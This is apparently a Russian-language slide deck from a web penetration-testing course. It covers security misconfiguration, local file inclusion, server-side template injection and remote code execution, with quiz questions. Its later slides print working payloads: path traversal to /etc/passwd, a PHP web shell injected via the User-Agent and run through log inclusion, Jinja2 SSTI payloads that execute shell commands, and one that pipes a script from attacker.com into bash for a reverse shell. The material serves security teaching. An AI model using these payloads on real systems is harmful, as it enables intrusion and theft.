Похожие презентации:
5.15 Наиболее популярные уязвимости серверной части
1. Веб-пентест 5.15 Наиболее популярные уязвимости серверной части. Часть 1
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. МоскваВеб-пентест
5.15 Наиболее популярные
уязвимости серверной части.
Часть 1
автор: Талачев З. Р., г. Москва
2.
ВведениеВведение
В этой теме мы изучим, что такое server-side атаки, их отличие от client-side атак, как и какими
инструментами их можно реализовать, проведём несколько атак и составим отчет по
результатам проведённой работы.
Результатом темы будет:
• Научимся азам работы с некоторыми веб-сканерами (dirb, metasploit framework, nikto,
PIDRILA…).
• На практике освоим поиск и эксплуатацию следующих уязвимостей: Security
misconfiguration, LFI (local file inclusion), SSTI (server side template injection) и некоторыми
RCE (remote code execution).
Перед изучением нового материала, предлагаю освежить ваши знания.
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
3.
Небольшой опросКакие виды HTTP запросов могут внести изменения на сервере (в общем
случае)?
GET
PUT
POST
TRACE
OPTIONS
HEAD
DELETE
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
4.
Небольшой опросКакой из модулей burp suite умеет подставлять значения по словарю в
указанное место (места)?
repeater
intruder
proxy
sequencer
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
5.
Знакомство с server-side уязвимостямиЗадача server-side атак выявить и проэксплуатировать некорректные (небезопасные)
настройки, логику работы, уязвимости служб (компонентов), которые используются и
взаимодействуют между собой. Таким образом, server-side атаки нацелены на приложение и не
требуют взаимодействия с пользователем (как это было в client-side атаках).
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
6.
Security misconfigurationКурс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
7.
Знакомство с server-side уязвимостямиУязвимость некоррект ной наст ройки безопасност и заключается в настройках, оставленных
по умолчанию (в том числе дефолтные учётные данные), неверных настройках доступа к
файлам и каталогам веб-сервера, базам данных и пр.
Что ищем? Файлы, конфиги, ключи аутентификации, в общем всё, что может «плохо лежать»,
пробуем изучить приложение и логику его работы по умолчанию (может, забыли изменить
учётки по умолчанию типа admin:admin).
Как искать? Самый простой способ — попробовать напрямую обратиться к файлам через вебсервер (да-да через простое обращение к URL ресурса, например, example.com/etc/passwd).
Лучше для экономии времени использовать сканер, один из примеров — PIDRILA (инструкции
по установке и использованию этого сканера приложены в ссылке).
Этот сканер написан на Python и имеет «встроенный» словарь для перебора директорий из 7661
директории (разумеется, можно, даже рекомендуется использовать собственные словари).
Для проведения атаки security misconfiguration на подготовленный сервер этого словаря будет
достаточно.
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
8.
Небольшой опросНа скриншоте представлен частичный вывод команды ps -aux, в какой строке
(строках) вы видите security misconfiguration.
1 строка
2 строка
3 строка
4 строка
5 строка
6 строка
Во второй строчке. Веб-сервер запущен от
имени root (с высокими привилегиями) .
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
9.
Небольшой опросКакие из указанных директорий или файлов на веб-сервере нужно проверить
вручную?
.htaccess
passwords/
robots.txt
robots.txt
images/
README.MD
Файл robots.txt служит неким «маяком» для
индексирующих ботов (например, Гугла или Яндекса) и
указывает, что можно индексировать (и в дальнейшем
выдавать в поиске) — ALLOW:, а что нельзя —
Disallow:.
Такой файлик есть на подавляющем большинстве веб
приложений. В этом файле иногда можно найти
подсказки, что следует глянуть.
Для остальных файлов и директорий рекомендуется
использовать автоматические средства.
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
10.
Local File InclusionКурс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
11.
Local File InclusionLocal File Inclusion позволяет злоумышленнику получить доступ к неавторизованным или
конфиденциальным файлам, доступным на веб-сервере, или выполнить некоторые команды на
веб-сервере, используя функцию include.
Эта уязвимость в основном связана с плохим механизмом проверки ввода, когда ввод
пользователя передаётся командам функции include файла без надлежащей проверки.
Наличие этой уязвимости может привести к выполнению вредоносного кода на сервере или
раскрытию данных, содержащихся в конфиденциальных файлах и т.д.
Например:
Есть PHP-скрипт.
menu.php:
Есть HTML страница abc.html с командой include (с её
помощью в HTML включен скрипт menu.php):
Теперь menu.php используется в abc.html и, каждый раз, когда кто-либо
открывает abc.html, весь код из menu.php копируется и выполняется в abc.html.
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
12.
LFI в РНРПример URL для использования уязвимости: http://127.255.255.244/index.php?file=hello_world.txt.
Значение переменной file, передаваемое в PHP код и сам файл, является
аргументом команды include в коде:
В таком случае можно попробовать подменить значение file на какой-либо другой, который
может присутствовать в системе, действуя при этом от имени веб-сервера (либо от
пользователя, под которым работает веб-сервер).
Например, можно попробовать изучить файлы, которые содержаться в той же директории,
либо попробовать использовать символы, позволяющие изменить текущую директорию
(например, file=/../../../etc/passwd — в таком примере мы предполагаем, что сейчас
находимся на 3 уровне до корневого каталога в системе *nix).
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
13.
LFI в РНРВ некоторых случаях, где команде include присваивается стандартное расширение, может
понадобиться «выбрат ься» из такого экранирования с помощью добавления нулевого байта
(null byte) в конец URL: %00. Предполагается, что это поможет избежать следующего
экранирования (в текущем примере это будет расширение .php):
В таком коде следует использовать выше указанный null byte %00:
http://127.255.255.244/index.php?file=hello_world.txt%00
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
14.
Небольшой опросЧто из нижеперечисленного является примером атаки LFI?
A. http://exmple.com/etc/passwd/
http://exmple.com/etc/passwd/
B. http://exmple.com/script.php?constante=/etc/passwd
http://exmple.com/script.php?constante=/etc/passwd
C. http://expample.com/script.php?constante=pastebin.com/7hxKsAuq
http://expample.com/script.php?constante=pastebin.com/7hxKsAuq
D. http://exmple.com/script.php/etc/passwd%00
D. http://exmple.com/script.php/etc/passwd%00
E. http://example.com/javascriptprocessor.jsp?jsp=/etc/passwd
E. http://example.com/javascriptprocessor.jsp?jsp=/etc/passwd
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
15.
Небольшой опросДля чего нужен null byte?
A. завершение команды серверу
B. переполнение буфера
C. начало команды серверу
D. обход экранирования
экранированияввода
ввода
E. экранирование команды серверу
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
16.
Server Side Template Injection (SSTI)Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
17.
Об SSTIМеханизмы шаблонов — это инструменты для разделения логики программы и представления
на две независимые части. Это упрощает разработку как логики, так и представления,
повышает гибкость и упрощает модификацию и обслуживание.
Движки шаблонов очень широко используются в современных веб-приложениях для
представления динамических данных через почту или веб-страницы. Если не фильтровать
пользовательский ввод в такие шаблоны, то можно говорить об уязвимости SSTI. Такая
уязвимость может быть схожа с XSS, но отличается всё же направленностью атаки.
SSTI направлен на веб-сервер и его компоненты и иногда приводит к RCE уязвимостям.
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
18.
Пример SSTIЭксплуатация
1. Обнаружение уязвимости:
Попробуем вставить простое выражение:
http://localhost:5000/greet?name={{7*7}}
Ответ:
Hello, 49!
<!-- Подтверждение SSTI -->
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
2. Чтение файлов на сервере:
http://localhost:5000/gree
t?name={{config.items()}}
Выведет конфигурацию Flask,
включая секретные ключи.
19.
Распознавание движка SSTIСледующий шаг в атаке — распознавание движка шаблонов. Иногда, это может быть
легкой задачей: достаточно попытаться вызвать ошибку, в которой движок может
«выдать себя».
Зеленая стрелка —
успешный запрос,
красная — неудача.
Однако, следует
отметить, что простой
запрос типа {{7*’7’}} в
случае разных
движков может
выдавать разные
результаты (в TWIG
будет 49, в Jinja2
— 7777777).
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
20.
RCE (remote code execution)Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
21.
RCERCE — следствие успешной атаки, подразумевающее удалённое выполнение
произвольного кода на сервере (в данном юните будет рассматриваться
только RCE через веб-приложения).
RCE может быть следствием следующих атак:
• SSTI (обсуждалось раннее);
• OS command injection — внедрение команд операционной системы через
уязвимые параметры или скрипты;
LFI (обсуждалось ранее);
RFI (remote file inclusion) — загрузка и выполнение файлов с удалённого
ресурса на веб-сервере через уязвимые параметры или скрипты;
XXE (XML external entities) — внедрение команд ОС через сущность XML;
Insecure deserialization — внедрение вредоносного кода в параметры, где
используется сериализация (например в брокеры сообщений, куки файлы,
некоторые параметры HTML-форм);
Buffer overflow — уязвимость переполнения буфера может открыть доступ к
выполнению произвольного кода, однако не всегда достоверно известно,
как будет «вести себя» приложение при перегрузке;
эксплуатация уязвимости (например, в каком-либо компоненте) напрямую.
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
22.
RCE через LFIНапример через логи Nginx/Apache
Инжектим PHP-код в User-Agent и включаем лог:
curl -A "<?php system($_GET['cmd']); ?>" http://vuln-site.com/
Затем включаем лог-файл:
http://vulnsite.com/index.php?page=../../../../var/log/nginx/
access.log&cmd=id
Ответ:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
23.
RCE через SSTI1. RCE через вызов опасных функций
В Jinja2 (Python/Flask):
http://vulnsite.com/greet?name={{self.__init__.__globals_
_.__builtins__.__import__('os').popen('id').read()}}
Ответ:
<h1>Hello, uid=1000(www-data) gid=1000(www-data)
groups=1000(www-data)</h1>
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва
24.
RCE через SSTI2. Загрузка шелла (если фильтры не блокируют запросы)
http://vulnsite.com/greet?name={{self.__init__.__globals_
_.__builtins__.__import__('os').popen('curl
http://attacker.com/shell.sh | bash').read()}}
(Выполняет удаленный скрипт и дает обратный шелл)
Курс по кибербезопасности. Автор курса: Талачев З.Р., г. Москва